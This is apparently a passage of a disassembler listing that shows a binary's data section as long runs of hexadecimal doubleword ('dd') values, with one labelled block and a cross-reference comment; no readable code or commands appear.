dd 0FB002046h, 0DC4A7D46h, 0A913A0CCh, 2CD12924h, 3C015A8Ch
dd 0DE4864ABh, 84587B7Ch, 11608870h, 32140954h, 0EF941848h
dd 0F640D61Fh, 4BBE078h, 7864B5A8h, 648BF402h, 0D5946AF0h
dd 0FE377490h, 0B48A83Dh, 377F2A1Dh, 5C2E0034h, 0E1CD663Dh
dd 21FBBB14h, 975509F8h, 0B248412Bh, 7D9B6810h, 0C7802251h
dd 0F84C5CA0h, 2F445B5h, 833D4BDEh, 2EDD5500h, 127C7885h
dd 1140D25h, 0C8A210F9h, 9DB0535Fh, 67123805h, 0FC41B59Bh
dd 8FD27CC3h, 4F3C026Bh, 0F0DAEB49h, 1A63C910h, 0A15C0F7Bh
dd 4AF043D9h, 437BA82Fh, 0E3800E4h, 3DA4CECBh, 0C5C85AE3h
dd 23683B6Ch, 53D40050h, 7AD76CD9h, 291CB700h, 782B0F2Fh
dd 0C8594BBDh, 0E6000CD0h, 4D6BC702h, 0CDAFB9h, 0CECAA495h
dd 0A0E755D1h, 8D40E101h, 7A066321h, 0EF02EFECh, 0B594042Fh
dd 0D0D4D0B9h, 0E003314Eh, 0EBA79C7Eh, 0AE0EA0E3h, 4CEC0588h
dd 0E979A241h, 730F0098h, 53A962E8h, 2EA1F607h, 4BC8CC2Dh
dd 5180C000h, 755F7BE8h, 68B86C24h, 2C49FC10h, 0B913859Eh
dd 6608BCF9h, 4C9EDD3Dh, 33287F08h, 69C18E10h, 28CC04B4h
dd 80B372C1h, 8D314149h, 10395942h, 24A100F6h, 0C0B458CEh
dd 175908h, 0AF6EDBDFh, 3D317F75h, 7EA1A85Eh, 1E84887Ch
dd 20F616E5h, 4A2952E0h, 0EA2D8600h, 370288C6h, 204F285Eh
dd 0C5245F80h, 0C8C4CB54h, 0BE70C3EEh, 2E1333A8h, 82F7B01h
dd 0F737D19Eh, 726E6835h, 98A98EA0h, 9070FCF3h, 0FB5E4CCEh
dd 6AB70976h, 58F03BC6h, 581E3920h, 887318E5h, 97096649h
dd 0C4B538A9h, 7C044D44h, 0E7BCEC49h, 6BC06D00h, 0E369E5FCh
dd 935FACBh, 0B7ED16Fh, 81086059h, 9CF92766h, 6A66301h
dd 0BCFCD8A5h, 6F890276h, 4CEE8A34h, 54943846h, 0F0465Eh
dd 157CCE8Ah, 17AA9513h, 0E34D7922h, 0C9770C5Ch, 17E0A153h
dd 90F07543h, 79490420h, 0A007094Bh, 2795327Eh, 992AC4D0h
dd 4000970Dh, 6A480611h, 81AB8800h, 3CFE7D25h, 0E82F4CEBh
dd 0F4178FC7h, 0E80C855Ch, 629F0590h, 34CEB11Fh, 0FDC0EF88h
dd 3EE0ADCCh, 4C82614Eh, 9F3422A6h, 0C7216860h, 0D4FC9684h
dd 59DA1A2Dh, 0C5CA0254h, 0A8F04B41h, 20CD7B17h, 68E5CC20h
dd 34231E3Dh, 5F120182h, 48EF9D9Bh, 0F098DFA0h, 98881741h
dd 0DE03A84Dh, 26226933h, 0A7C06819h, 53441447h, 0B703E160h
dd 292770FEh, 1B8868DFh, 0CC398360h, 42D12D5Eh, 268D998h
dd 14C61D0Dh, 5A9664C0h, 0A40C4C03h, 0E2A825C5h, 8E10D493h
dd 5454833h, 94884081h, 34BECE84h, 48B968D2h, 62961316h
dd 94A06D88h, 325541F7h, 3C9C62FBh, 25054498h, 5CD9C556h
dd 0ACFD3A00h, 55A1A17h, 74062C0Eh, 0E80CF8EAh, 0C5028C4Dh
dd 0C96955F5h, 3DE8E002h, 1521C063h, 0DC0EC11h, 65663614h
dd 98032AC8h, 10B19DFEh, 0A27EE809h, 13EE65B4h, 0D6DE60FCh
dd 0B84F2F0Dh, 0D5F44816h, 71EBD600h, 0CF69480Ah, 0A452000Fh
dd 4B15A37h, 74FD41A1h, 2D2E340Ch, 0E06E74B7h, 7ED5AC09h
dd 20CB4BD2h, 325C12A4h, 9138F20h, 0A9897177h, 2EE8C49h
dd 7CCCD452h, 82E4DD21h, 0BE42ECB2h, 855708C0h, 0A1173879h
dd 3091B71Ch, 909FAF40h, 0BE800421h, 1050E9CFh, 9402191Dh
dd 4E078C9Eh, 36D021DFh, 1E70DFF6h, 0A24C0221h, 299BDDA3h
dd 2F6C05DDh, 759C04BAh
dd 996D0122h, 9C7BA549h, 0AA157704h, 4AC8AEFDh, 0B9E0C8E6h
dd 84017856h, 9ECAE033h, 496F3F92h, 0C0524C68h, 0B800FCE6h
dd 0FD81A793h, 0BE1114h, 0AD456CC7h, 289FF8F4h, 0C93F3500h
dd 0C247540Fh, 314B4E4Ch, 12DFE1ECh, 7978D26Eh, 80EB0118h
dd 0B563109Fh, 366BFC24h, 0A4B24500h, 6A959091h, 0DD4D345Ah
dd 6F6C9089h, 0C516680Ch, 74D08071h, 83B2CC31h, 216B7811h
dd 4D82AC06h, 0A8BE41FDh, 75DE8340h, 437A26h, 3AFD8C94h
dd 0F2BAB838h, 0A293FE04h, 94E4A684h, 39AC6098h, 9F5D3D5Ch
dd 494C8B06h, 9668247Fh, 0A000DC10h, 391769Ah, 446F5866h
dd 987BB5DAh, 0F062B14Bh, 1CCD2B0Dh, 63F1D9C0h, 153E630h
dd 73A11250h, 6A6D68F7h, 689B1C4Eh, 9A4D0C1Ch, 3CBC3BA9h
dd 0F48C2E80h, 28BDBE07h, 0FCB3068Bh, 4144C26h, 8C1BE8h
dd 892561FCh, 45A623BEh, 647C7B70h, 713F5A03h, 0C0C6F411h
dd 4E31E3D2h, 0AF64C2A3h, 950D6910h, 0C5B56001h, 0E8906E4Ch
dd 7473EB28h, 0B9400F8h, 0AF9AD1FBh, 1900CEA5h, 0D5ED903Fh
dd 2E4E663h, 0A177579Dh, 0F00BB491h, 0D0609754h, 0C0905AC5h
dd 4D80817Dh, 226B5EC6h, 5090DA8h, 0D8C31740h, 649900CAh
dd 78ED363Ah, 0D21337ADh, 1482D3FBh, 0C99C2059h, 28B61157h
dd 0F80DDCFh, 0FE2A3DD4h, 189FBFF6h, 60E4C008h, 0ED1300Ch
dd 51545C27h, 0E9948084h, 952C8FFAh, 2FC88958h, 3A24E833h
dd 0D76B02A9h, 17E17016h, 0FD7BE800h, 4C44B780h, 349B8D74h
dd 0EAA15D8h, 20D87140h, 1CD7A720h, 137864D5h, 0E878E103h
dd 0D22EE7F8h, 94E46Fh, 8D7DF33Dh, 1D6AA1DAh, 0DF7B3412h
dd 380E8EDh, 7D36B579h, 5A1CA48h, 951406DFh, 0E0764CE9h
dd 0C46097E7h, 0C70BB1EAh, 76723EB8h, 0AE656048h, 7A17AB14h
dd 7830D9B9h, 4A9611FDh, 0C3489AE9h, 0B4713094h, 0AF48C0A8h
dd 0C0214B72h, 7F2BC540h, 60E84D97h, 0B54CBF88h, 0C33D7013h
dd 43720CE4h, 58FC3A61h, 43C4F8D0h, 0BF6E00E4h, 0B66A0D46h
dd 9DED733Ah, 0E5B4ACA2h, 7549CF00h, 0EC22B554h, 4F00B27Fh
dd 0B659BCA1h, 9C41A530h, 688F2B65h, 55C75088h, 4B34D440h
dd 88C625C1h, 0E6E81490h, 0C9937C00h, 0A0DD4CDCh, 0CC2C0178h
dd 0C0A94F67h, 2589BB46h, 44B04640h, 73093817h, 41CDC8E3h
dd 7C65EDDCh, 8130DE2Eh, 0BBF9D504h, 23CC82Bh, 0DD53AF00h
dd 1D447D8Ch, 8EC9E785h, 0F9955470h, 414F0F00h, 0B0562531h
dd 807DC83Ch, 6673D1Dh, 0C0BEC033h, 0ED65C508h, 20792F64h
dd 2E00EA2Ch, 0C217BDDDh, 0F0050070h, 1B3C1819h, 75034189h
dd 6C7CD2E5h, 2824B24h, 0B8FDA000h, 0CB44AE5Fh, 64B06780h
dd 0ADB36126h, 16ACA9D4h, 4DE8CF2h, 16653B8h, 467CA46h
dd 0E055C097h, 49133238h, 788866D5h, 0EC408A78h, 4E97C045h
dd 2AB91730h, 0BA2C0005h, 352E4928h, 0C4EE1000h, 764145FCh
dd 0B2E73D08h, 0C29A5B00h, 54AA7C15h, 0B578EA60h, 0AA5E853Ah
dd 79B8E8B0h, 0E48E635h, 1839B3D0h, 0A17D19E7h, 708FD106h
dd 0C740C1ECh, 136A1224h, 0F2A0E296h, 4AF530C2h, 0BEE0A919h
dd 16105D81h, 1900F6D9h, 9D76CBA1h, 91EE77E1h, 0D4A12FA4h
dd 785AF393h, 38CE83C8h, 0DE7E88E3h, 0A06C967Bh, 0B611209Ch
dd 0AF9A342Fh, 5B13A90Ch, 7B3ED044h, 0B1103C30h, 95794F05h
dd 319ED821h, 57B196ACh, 2B6B9C9Dh, 1D5323E0h, 0D4F55DB0h
dd 2F001C9Fh, 2654B2A9h, 1069A1C9h, 98CE679h, 0D48B5A36h
dd 141DA456h, 80F44604h, 0AD1FB0F8h, 0DA6181FDh, 2A26077Bh
dd 9BA19C03h, 2DA83EFEh, 70960F00h, 648453A9h, 5B2C8600h
dd 30FCE31Eh, 0E3314E0Dh, 0E171258Ch, 56AA524h, 338FB898h
dd 0C6E01ECCh, 0D092FC70h, 80ECB095h, 0E81A9711h, 0B89D1C1Bh
dd 0BA1610F8h, 1C80B709h, 0C448EC89h, 5A0588EEh, 19EB4149h
dd 5B58428h, 44A99755h, 15383117h, 99F9841Ch, 71FF1BFh
dd 0EBD16F87h, 6716B0D8h, 0CC98B3E3h, 5F7CA271h, 992C6480h
dd 98BFA2D1h, 6023E0F8h, 177A127h, 0ACAAACBEh, 78BC247Dh
dd 0B70284C7h, 1120942Bh, 0D48F193h, 90146DC9h, 9C0D2BF0h
dd 0D3BF02B0h, 0A888CBA6h, 1A226570h, 54D1E190h, 515E2488h
dd 78F06071h, 82B2D500h, 0E51784E0h, 499B18DDh, 9EE14015h
dd 0DC08F807h, 89B0135Dh, 376B81Bh, 0D250E57h, 0E3905365h
dd 9E3745FDh, 1200204Ah, 0E4DEDDC0h, 0B6360264h, 1559F449h
dd 30275060h, 69ACE8BDh, 810A0EE3h, 66807005h, 682DFCFDh
dd 5ADC8E00h, 8924C91Dh, 254A038Dh, 0DD550F2Ah, 0E4B3A6E8h
dd 80DC08B4h, 55CDDA2h, 9F76A5Ah, 4E0829Ch, 979550F8h
dd 0E51B8898h, 0EC768460h, 324102BFh, 0B2B3A286h, 11C810FDh
dd 602B0035h, 6C6D8D94h, 0C9E8DB20h, 0D9E68000h, 363531E4h
dd 0FDD51977h, 0E056592Ch, 12264088h, 0AE074478h, 30E00508h
dd 12DD51EAh, 21CEABCDh, 70886718h, 11C06128h, 1DAAC4DFh
dd 6FC61297h, 0DD083AEh, 19711018h, 4529599h, 5BE51EF4h
dd 5094AD31h, 28AD662Ch, 0F8667608h, 0EE097657h, 72335BDDh
dd 222F248h, 0E75EC823h, 85F7B1A4h, 0B440B36Ch, 57591A30h
dd 401F5688h, 2324C282h, 404FCCDEh, 0CDE00B18h, 639B0BC3h
dd 50FA480Dh, 61763C25h, 0BC222EE0h, 633CAD74h, 41AD6EC6h
dd 7AA87EA4h, 885468E5h, 5934A1B0h, 0C0DF0BDCh, 80B7DE0h
dd 0C21893F1h, 1ED15E3Ch, 1C440077h, 9EAAB4DFh, 48A220FCh
dd 9D46BC3Ch, 8A95CCDDh, 2B741278h, 60B4894Bh, 506440EEh
dd 5C3986F1h, 50611238h, 844354A5h
dword_4E414C dd 1DE13244h, 9823677Eh, 253171B1h, 240E4Ch, 62F57DFBh
; DATA XREF: ___:off_43ACE4o
dd 0FFE2990h, 6512E29Ah, 701392h, 673C2420h, 20BF70C5h
dd 0B19596D4h, 8611B077h, 0BC305220h, 97A6F0Ch, 8F481898h
dd 17E44D9Ch, 14F8C61Ah, 0C07D4612h, 12B33CFCh, 60B2EF5Ah
dd 93587FBAh, 0CF7A1304h, 41ADF806h, 98733110h, 8CBA0608h
dd 8CA2918h, 6229C493h, 7CB3049Ah, 8701706h, 20CC1030h
dd 0F8221288h, 0F699407Bh, 1518F866h, 4D3E3239h, 4703DF31h
dd 0B0101033h, 96D33D5h, 78068CBDh, 7FFC2067h, 7DF708C4h
dd 1519BC0Ch, 6E4C6340h, 0FB0C30DAh, 5F625508h, 3F1EE18h
dd 104C31A8h, 620863AAh, 0B11832FCh, 41230E59h, 74C01010h
dd 0B8331048h, 18117F19h, 30E9881Bh, 214C1B17h, 818C49Bh
dd 0B238925Ah, 8908C424h, 216A0C2Bh, 3469C6B0h, 8731085Dh
dd 0F5E618A2h, 90720895h, 8852E18h, 5E818B26h, 0A6589452h
dd 33095AC8h, 9618263Eh, 0C2E88910h, 1869C610h, 4910D424h
dd 0A408C4AFh, 9C0C0ABCh, 10D42995h, 0E510B175h, 495C3137h
dd 3F029CD8h, 36958CA2h, 18792B03h, 28C9E908h, 5A81342Fh
dd 8D9DE188h, 871B31Dh, 0BE0174A5h, 7B3092ABh, 4C7F0C44h
dd 99C47A0Ah, 0E7F9C91Eh, 40531015h, 8BE965FCh, 8C86C44Ah
dd 0C3F2588h, 0CA086A7Fh, 6440F962h, 9C28022Dh, 0F192B028h
dd 9BE91446h, 8CBB5418h, 492892C8h, 0B4246036h, 0B2C48C40h
dd 7E625B08h, 4994B920h, 0C6046664h, 34A889E9h, 180782Ch
dd 3910CFC5h, 0D7BF10B0h, 10321310h, 0DD18D50Dh, 8E4408D6h
dd 8C8318C6h, 1AFB3208h, 8483688h, 28DDDD4Ch, 407E93D0h
dd 79C42F62h, 33062708h, 0DE40716Fh, 0E98A826h, 210CCB4h
dd 88A87981h, 88928F68h, 0AA082F62h, 46990535h, 84F7988h
dd 66903220h, 0B1502928h, 48DB3531h, 67037BA9h, 0B038C118h
dd 0C4A1ED18h, 4DC0E08h, 2C04D01Fh, 44749422h, 0A6869A4h
dd 0AE88C08Fh, 0BC7115D3h, 10A39819h, 401C24BCh, 0C6C89D40h
dd 96BC9C1h, 920E4940h, 8D44D90h, 99601226h, 889BF972h
dd 0CBA5321h, 0DD3861E6h, 62F2B840h, 60E21023h, 0B28869h
dd 5C089A05h, 0C80883Bh, 0EB7BF337h, 0A3017894h, 70542B38h
dd 244E1081h, 0C30D81AAh, 0B95B6DC0h, 0C48B3F26h, 66195780h
dd 25393F2h, 892DC91Eh, 60574AF3h, 2C42491Ch, 6BB8F517h
dd 0C6F49800h, 0B5006335h, 2FEFBE3h, 4343C01h, 0CA597EBDh
dd 0BD2B0FD6h, 3638E618h, 0E879014Ah, 4BBB9964h, 0DEB880AEh
dd 7D3910CAh, 31C23CDDh, 1705F073h, 80B2D0A3h, 0EA96CE8h
dd 3D52BC06h, 0E438FF06h, 2F100EAAh, 3C84A2DEh, 0D2CA8C7h
dd 0A9EE7514h, 38541C8h, 0FDBCB71Fh, 1805C3E6h, 0C13CBFB5h
dd 8A6CD891h, 180FAAC8h, 3804C06Fh, 91070AAFh, 9FEEFF38h
dd 0FD94E7F0h, 0B1290125h, 955DB7BBh, 590840A5h, 0D5ADB05h
dd 0DAB7ECD1h, 0EF7C6980h, 9E10A36Bh, 0DB125803h, 52F853Ch
dd 4D5903C0h, 0E840A1E0h, 0DD0D8E66h, 20ED4E3Ch, 20771081h
dd 2B303741h, 609A28D0h, 0F8780112h, 584E0740h, 25188C23h
dd 62E686Ch, 3CF072E8h, 3700E1B1h, 113D6470h, 30D44D86h
dd 0B310CDFDh, 0DF8384Eh, 0E6702660h, 1BC2271h, 2AAFAC51h
dd 8FCD20FEh, 0CC4E02C8h, 3A5D68C3h, 2E00E32Fh, 1B56770Ch
dd 856063FEh, 0AB61DD29h, 5D871D37h, 0BA2A0076h, 64DE837Eh
dd 0A3E42E07h, 0F2C71BB5h, 12A84880h, 0D09B0A7Ch, 80D854CCh
dd 0EAD62E36h, 0B0CEB5AFh, 0E4B72034h, 96AC2Ah, 0B86BD2E3h
dd 0A00C3BFDh, 900EB8CAh, 0DEFE63C0h, 9514786Dh, 60493850h
dd 40D0A90h, 14001423h, 0D46F55F5h, 0DF4D4060h, 3C111217h
dd 0D039C490h, 686D0F44h, 2884E8B6h, 0F308003h, 0B2E85E17h
dd 40F0C4A0h, 2A6140A4h, 7AEA597Eh, 12B8D850h, 40A63AE9h
dd 38B04E3Eh, 4A294D0h, 0EA4ADE05h, 0DC815237h, 0FAF0C2E6h
dd 51DD041Eh, 0AAAA6FDFh, 0E86DC003h, 0D539C140h, 0CE0010BFh
dd 0F2BCB0D1h, 256561E5h, 42803520h, 5B7D64h, 7E5D9F95h
dd 4E091C9Bh, 90133930h, 9B381D4h, 0A7A1BBB9h, 81B2C024h
dd 8043FCA0h, 0DD894510h, 1221531h, 0ED887C6Ah, 41FB3CDCh
dd 0F9D613FCh, 0DEDFD325h, 6F67B581h, 24687C56h, 9108F8CAh
dd 284F000Eh, 6C8DDCF7h, 1AD90614h, 444510B0h, 1DDF6200h
dd 0F4B74366h, 60002C90h, 0F01A11C7h, 0BCCE65h, 1F1B15B2h
dd 275E2E37h, 5D126F00h, 0A0DCD0E6h, 0DFA0179h, 0C1B50EE3h
dd 31B424F7h, 5272E625h, 27DB02ECh, 0F30D6F0Ch, 7409C8Fh
dd 56AA5BF2h, 0E8D56600h, 0C0CC2D63h, 6F770B72h, 0DCE802A1h
dd 521D364Bh, 0C5C0E4D7h, 0FFD0F513h, 0E2FA8028h, 0EF6FA400h
dd 0B8A2BAF7h, 4EDB0117h, 66652C2Ah, 4C8406Bh, 0E528B26Eh
dd 6F244874h, 0C00138D2h, 2485FDF7h, 90315420h, 54FE2A20h
dd 0C449779Ch, 56E4820h, 7009F045h, 4E3C0112h, 34684A42h
dd 1FBE5BC4h, 1A6D8Bh, 0DD6F41FDh, 8378DE7Ch, 8855FF3Fh
dd 986057h, 0D864F531h, 7A5036DDh, 0D46204BFh, 831CAF3Ch
dd 0A0E7BA78h, 0F2B31F32h, 1189201Dh, 0C6706B00h, 60033C7Bh
dd 0AB982805h, 0FD006F10h, 6512087Dh, 3DD2DBF0h, 0F8000CDCh
dd 3CAC0D1Bh, 0B092A590h, 843F0102h, 60372716h, 0E056B6B0h
dd 9C98C1D5h, 452A3882h, 94981254h, 8A040E0h, 86E52ECFh
dd 5CA5EF18h, 74180E9h, 0B2BF4801h, 0A7942099h, 8A00B316h
dd 8057377Eh, 63C508h, 2E7B125Fh, 4DF9E728h, 68CBCF31h
dd 0E5F535BBh, 78764C62h, 2CF10972h, 0D478EEFEh, 304E080Ch
dd 528A947h, 0E73B6E12h, 24F4278Dh, 0FE3CC8DBh, 18B91D30h
dd 4231BCh, 6A3B0192h, 3CF44E18h, 70C0157Eh, 48952017h
dd 2C6B0C7h, 0B71080CEh, 8460BE54h, 0BB80A9ADh, 26FC9634h
dd 0B30897Ch, 60889007h, 0FF14D876h, 8563828h, 0A8E4302Ch
dd 0E0C63C09h, 306F1B20h, 5A82FA4h, 77260FACh, 0B408E44Dh
dd 583109A8h, 74764802h, 83594041h, 710480D0h, 0D185C3BAh
dd 11808243h, 182B310Dh, 1012FAB8h, 50042984h, 0BA12481Ch
dd 0D2DC3000h, 1E5811B4h, 206EFE16h, 0E4E44F51h, 0F8028C20h
dd 366FC732h, 3E006067h, 14F40FEFh, 4064125Bh, 0E8E08089h
dd 8F3C3422h, 0A889CE65h, 0F27E081h, 2322F0EEh, 0C87B2904h
dd 0C8F3680h, 1C664F67h, 0B06856D0h, 2416FF40h, 0F5587CFEh
dd 0E7C110C8h, 5978B454h, 0BBC2C018h, 104A07F9h, 10276840h
dd 102F3728h, 6F166106h, 1F107A53h, 41ECCCD5h, 5CFDA634h
dd 0EEA84322h, 0A94C1BF3h, 0B4790020h, 0AFBDC623h, 0CC432C3Ch
dd 0BC28A9C8h, 182590h, 0D612489Ch, 4194CBBh, 29FE7DCAh
dd 474C90EAh, 0AC5CBE64h, 1B861F58h, 6FB5F601h, 80348DC4h
dd 3BC81CCEh, 86023B43h, 8EED14E6h, 2B0CC871h, 464D8E0h
dd 0D56ED7DEh, 6A901960h, 8CA06D08h, 5700BF3Eh, 0CCD60260h
dd 2E34C71Bh, 966445F8h, 1898439Fh, 0A6D01C79h, 104D4E0Fh
dd 0B184005Ch, 4147C012h, 7830F749h, 214942Bh, 80540B7Bh
dd 0CEC9AA60h, 4D9DA400h, 7A5967DEh, 0C540C0ECh, 82CB1AFCh
dd 0BC3F1600h, 0EDEE32BAh, 370D07D5h, 0E0122F56h, 59927C9Dh
dd 0B366D16h, 0D98564D0h, 6F130B4Fh, 0B020C5F2h, 0F687FDAEh
dd 3D0680C0h, 79454Bh, 81F39DCAh, 0FB625B9Eh, 2CE0403h
dd 13BB526Fh, 4DFE339h, 0C8A09414h, 0FD264F50h, 70000C9Dh
dd 236F60D8h, 0D9C0A98Ah
dd 8473A84Ch, 6586B48h, 15D8CC5Ah, 7B3C1220h, 0E74400BCh
dd 50288185h, 784E0B08h, 589C0F0Ch, 2D136C1h, 2A7AF001h
dd 79CD0CA8h, 60112567h, 29723D80h, 0E4757DA5h, 0F9690403h
dd 0C0DC77B5h, 6CC84BCh, 0CF20B490h, 0D8E52CC6h, 0CE17089Ch
dd 488AE302h, 4DF0C09Bh, 20F49AB2h, 0ED2406B1h, 1A3D0877h
dd 0E330935Ah, 977CC15Ch, 53907C40h, 0C347F28h, 0DA76596Ch
dd 0E60032A0h, 6718D261h, 92844DC6h, 0B0314974h, 8326416h
dd 0BB84BA0Ch, 0C09419F2h, 0A88A3887h, 3280874Bh, 954A4FD1h
dd 372C1863h, 0C09A6424h, 6A14E948h, 0F2D8D01Ah, 4A8E2B1h
dd 504BAF9Ch, 0DCCEA600h, 2627E683h, 40C430h, 527E1D57h
dd 0D09814E1h, 602B6235h, 0F00828CCh, 7940B02Fh, 53F625F3h
dd 0B8AB5024h, 0BC273C14h, 1C511826h, 48E6EE10h, 47D6B025h
dd 5B58FD6Ch, 6F14A898h, 4C003D4Ah, 0CAC2A99h, 613F00F2h
dd 0A1F4F337h, 0D0B8FFC4h, 0AB0D5603h, 2CB7BAFDh, 0C38A740h
dd 0E5C8A984h, 9394D11Eh, 0AF0D00FFh, 9658360Fh, 0BEC536FDh
dd 0EEFC8130h, 58570226h, 0BC114F67h, 2028C9A0h, 129B81C4h
dd 78A04084h, 0D0D85266h, 4D9B0602h, 0E4A32867h, 4140CE52h
dd 5309CAF4h, 80444B36h, 0FB945D7Ch, 0E6FDFC39h, 157930D0h
dd 0E73D5580h, 8FD7773Ch, 0B25EF4Eh, 1C600168h, 0DAD188F4h
dd 3A461424h, 17A41261h, 0C6F20844h, 3800E313h, 849CD51Eh
dd 1F3F26D0h, 5DC880D4h, 0FD7C22AAh, 1DEED01h, 0BCB1D0ABh
dd 83CC388Eh, 24F83096h, 150017F2h, 7E8D0AE2h, 0FF39547h
dd 5A6B1862h, 6C0007A9h, 0CE2D778h, 5407754Ah, 48BC936Fh
dd 10A76B9h, 139C3138h, 0C1147AFFh, 0E5FC704Ah, 4D426094h
dd 0D41C486Eh, 0DFB305FDh, 0D0F6EE3Ch, 11FCF12Ch, 5038652Ch
dd 1223DA60h, 0A45616D4h, 809474E1h, 493B3C54h, 4D9F480h
dd 2FFDACFCh, 0F94093A9h, 3804F14Ah, 98C781B5h, 64179302h
dd 654CD4h, 3838C28Eh, 710F1B75h, 0AA4D5CCAh, 0B8939445h
dd 6880801Ah, 584CAAF4h, 7B00BDE8h, 0B4373953h, 0D95C08B5h
dd 0A0962664h, 40BF023Ch, 609EE9B2h, 2C9CE05Ch, 60B03887h
dd 4DB3A796h, 2006D526h, 9253FE86h, 0AB453B88h, 71241278h
dd 8B602414h, 26F0DD0h, 0C03FE890h, 286CB8F4h, 9ECA08C4h
dd 9CE2FC80h, 51D0A281h, 0B7AC00ECh, 772639A4h, 0FE174B06h
dd 5450E9E1h, 289854h, 3D1864EEh, 4A699B0Eh, 0E74ED890h
dd 4615C806h, 6F0A0C80h, 0CA58856Dh, 1E0D253Ch, 9C264FF6h
dd 0E8084049h, 9AF01378h, 6FF89050h, 0FC9066D1h, 62B2241Eh
dd 3846B30Ch, 0B5CE0064h, 0FDC3FE36h, 98CFFA19h, 0A6D7C41Eh
dd 67258C0h, 0CD3B0108h, 895961B4h, 94D880C4h, 687A2FF9h
dd 51770405h, 0F084F40Eh, 0A800829Ch, 0C56EDDA0h, 50D9FE5Bh
dd 279AC73h, 5807C5Ch, 0F4EB944Eh, 6FD8FEE3h, 0A12666D5h
dd 7A085CF8h, 0E10400BCh, 717B1229h, 0BDBE5716h, 0A3380807h
dd 840056BFh, 972D9B5Fh, 67352E4Dh, 0CFE86A4h, 0C8F64016h
dd 29E0F758h, 3C09C858h, 0D8D4C331h, 9CF94DA8h, 16803DACh
dd 9983CA27h, 6550A4D0h, 3C75DE98h, 5330226Eh, 0EFD0585Ch
dd 0C0847D09h, 7B11B098h, 9C96EE7Ch, 9A39842h, 0A4CB1C05h
dd 777BE6B8h, 0D5CBDA0h, 98E5D42Ch, 0F84D1130h, 1FF89AB5h
dd 71EAD6DEh, 20A496B9h, 0F6A8A60h, 0D502EC11h, 9CF43Ch
dd 444E0632h, 17FCD349h, 0DC02CEFEh, 802C0B53h, 912AD898h
dd 3EF0FB2Fh, 18B41710h, 284004Ch, 0FBF09A1Bh, 0D7E5AB03h
dd 0B03D8426h, 1827D565h, 18EBB05Ch, 2C0E1F6Ah, 52BB4DAFh
dd 4842B0DDh, 6B9C8273h, 4D4CE048h, 294C692Fh, 54043058h
dd 3127AF68h, 0F3C00CA2h, 0DA8C17Bh, 0B20E5778h, 0D8A73CDCh
dd 12AF0360h, 0A5F8952Fh, 68A04690h, 5DBB6F12h, 0A0A29C94h
dd 0B2A0410h, 72D0E208h, 16DE7640h, 30BAA756h, 213747D8h
dd 94B39507h, 52F360F6h, 0D02ED31Dh, 0F820EE17h, 0E07300FEh
dd 0CD0649C2h, 0AC946672h, 6E78474Eh, 8C84BBD7h, 4F16E090h
dd 0D73D104Eh, 12E001DEh, 359FBB11h, 0E90F8066h, 4C3E763h
dd 0B6CA4E1Fh, 0C5F198A0h, 40008FF7h, 49B9660Bh, 176264F5h
dd 307E8FEh, 185678A0h, 92D06DC1h, 780549E8h, 0B8B1C3FDh
dd 59864DC0h, 51266CC2h, 67C94008h, 6232E223h, 80062829h
dd 0AD129A90h, 7D220038h, 662D6445h, 2005B03h, 29E85937h
dd 2A3C8A06h, 0B868C54Bh, 5942061Ch, 507FFCFEh, 2F66B713h
dd 31E94460h, 0B424485Ch, 0C0BC7D39h, 69218052h, 801D4917h
dd 0CC220CA4h, 0E5AE6E09h, 9884E478h, 9AD9E60Ch, 0B04D3F7Ch
dd 0F293E060h, 43500C2Fh, 321D5CA1h, 13852417h, 0C4C0EDF5h
dd 494E0703h, 0A005C11h, 10E0B48Eh, 0B518F186h, 6D91DFCDh
dd 0CDE0D34Ah, 60502008h, 0B60F9E6h, 0ECD26E10h, 5004011Bh
dd 0D55C6CE6h, 436C3092h, 64612241h, 12F7E474h, 40D4754Dh
dd 0E1CE85CCh, 0C20F7CD0h, 0AC95BFA3h, 80EC78AAh, 59126C66h
dd 4536A19h, 92F25C00h, 984D3703h, 0DB690E57h, 25CA8E14h
dd 0F73C0608h, 7101B9DDh, 56655E83h, 4E4D6E5h, 78543923h
dd 8BBB7D80h, 0FDAD4175h, 0B89FA527h, 0E64DECh, 0A0E91A68h
dd 0B4BE56D1h, 0EECE18C0h, 7CFC57h, 94EDD2A6h, 3306B3F7h
dd 1E24D0ECh, 651FFC69h, 0AA62C0A4h, 82EC0894h, 0A1C66F14h
dd 3CE7C440h, 38C7055Ah, 46E4827Bh, 0A144049h, 0FC9887h
dd 72751430h, 0ABAFF891h, 0CDFBD404h, 6890D04Dh, 9062853Ch
dd 30A0E1Ch, 7CAAB96Eh, 8E540D8h, 57206F0Ch, 4C233C7Fh
dd 2ACB4201h, 7010C3F4h, 0F8405400h, 9C4D003Dh, 0B0FA5A6Ah
dd 874EA1FDh, 54F08C40h, 5E3D626Bh, 341C00CEh, 6DF4D98h
dd 3DA59480h, 7409F917h, 0C60BF6Fh, 0FD2DAFFBh, 17680114h
dd 0B02C9F2Dh, 0CB6F2C10h, 7AAB096Eh, 4E0809A0h, 0C864EBE6h
dd 0B7B33E01h, 9D14D368h, 1E5C19C0h, 0B85B76h, 0C4ADB4EDh
dd 4E3A0A09h, 2B386003h, 0CC30213h, 7AE0FE64h, 48000158h
dd 0EB34606Fh, 0CAFF94h, 7D5940C2h, 26D03D5Bh, 8A0830B9h
dd 3B6D0184h, 2DEE8CFFh, 0FA94C584h, 0FD0CA8A6h, 1F100CFBh
dd 7C44DB5Ah, 0E4A6B09Eh, 3EB0DC24h, 0A0F84034h, 3D61E5FCh
dd 9C14C258h, 66DBC8C3h, 87E42E1Dh, 0A2C30BE8h, 54195CE4h
dd 0A910C613h, 81610020h, 0F4D420E1h, 255A8C1Fh, 2CA75C00h
dd 781E1464h, 0E86149C4h, 18A00327h, 6511FE71h, 0F0775B17h
dd 2A0E9005h, 89F144E5h, 287CF828h, 4AE8FB77h, 370430DDh
dd 7C019156h, 0A7147A9Eh, 8402E38h, 0DDAA28h, 0B71B350Eh
dd 34EF3D56h, 1027CC91h, 86095BCCh, 18E77881h, 0DC465C6Fh
dd 6104A4Bh, 88C2614h, 0AB00A55Fh, 29DE03D3h, 0DC5A4C7Dh
dd 0B711D030h, 0FE142C2Ah, 8FE49C1Ch, 0B550605Ch, 30389B7Ch
dd 63115BF2h, 0A200BC2Dh, 62AB5124h, 4EEECC4h, 5F4BD9F9h
dd 0CA0080CCh, 1D0029BFh, 40E6FC06h, 0BEF21Eh, 153BB60Dh
dd 7007D0A3h, 5DDEB0DFh, 1E04A265h, 547D0194h, 0E7E09E9Bh
dd 7CC9F853h, 0AB5C30h, 0BF30D49Eh, 0FE60FB4Dh, 144832FEh
